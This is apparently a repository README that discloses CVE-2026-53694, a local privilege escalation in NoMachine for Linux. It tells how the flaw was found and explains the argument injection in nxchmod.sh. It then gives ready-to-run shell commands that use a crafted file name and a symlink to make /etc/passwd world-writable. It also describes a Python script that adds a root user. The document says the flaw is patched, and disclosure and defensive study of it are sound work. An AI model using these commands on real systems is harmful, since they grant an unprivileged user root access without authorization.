do4choo/cve-2026-53694-nomachine-lpeProof-of-concept exploit and write-up for CVE-2026-53694, a local privilege escalation in NoMachine for Linux via argument injection in nxchmod.sh, enabling root access through symlink manipulation.
This repository contains the write-up and Proof of Concept (PoC) for CVE-2026-53694, a Local Privilege Escalation (LPE) vulnerability in NoMachine for Linux.
Due to improper neutralization of argument delimiters in the nxchmod.sh script, a local unprivileged user can inject arguments into a system command executed as root. By combining this argument injection with a symbolic link, an attacker can overwrite critical system files (such as /etc/passwd) and escalate their privileges to root.
This vulnerability has been fully patched by the vendor.
Finding this vulnerability was a process of trial, error, and a late-night realization. Here is how the discovery unfolded:
/usr/NX/scripts/restricted/nxchmod.sh script was being executed periodically by the root user to manage permissions in specific directories.chmod a+rw to files. I thought: If I control the destination, can I use a symlink to make /etc/passwd writable? I tested a standard symlink (ln -s /etc/passwd /tmp/asdf), but it failed. The Linux sticky bit on directories like /tmp prevents the root user from blindly following a symlink created by another user.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. The script was taking the literal file name and passing it directly to chmod.X1234 -R -L. When the script ran, the chmod command expanded this into arguments rather than a single file path.-L (follow symlinks) and (recursive) flags into the command via the file name, I forced the binary itself to resolve and follow the symlink I created in the directory, completely bypassing the sticky bit protection.The vulnerability stems from how NoMachine handles permissions for X11/Wayland sockets. The script nxchmod.sh is spawned by the nxserver.bin daemon running as root.
The vulnerable execution looks like this:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
If an attacker creates a directory structure and a file named X1234 -R -L, the resulting command executed by root becomes:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
When a symlink pointing to /etc/passwd is placed inside the X1234 directory, the injected -R and -L arguments force chmod to recursively follow the symlink and grant global read/write permissions to the target file.
For this exploit to work, the target system must meet the following conditions:
You can reproduce this vulnerability either manually using shell commands or automatically using the provided Python script.
Navigate to /tmp/.X11-unix/ and execute the following commands to create the malicious directory structure.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
Once you have verified the vulnerability and escalated privileges, run the following cleanup commands to restore system stability and remove artifacts:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
A full automated exploit is provided in poc.py. This script verifies the Wayland requirements, sets up the symlink, waits for the nxchmod.sh execution cycle and injects a new root user (gg) into /etc/passwd
To run the exploit:
python3 poc.py
This vulnerability has been addressed by NoMachine. Users should update to the following versions or later:
-Rchmodchmod/etc/passwd was made writable (a+rw), I could simply append a new root user to the file and su into it.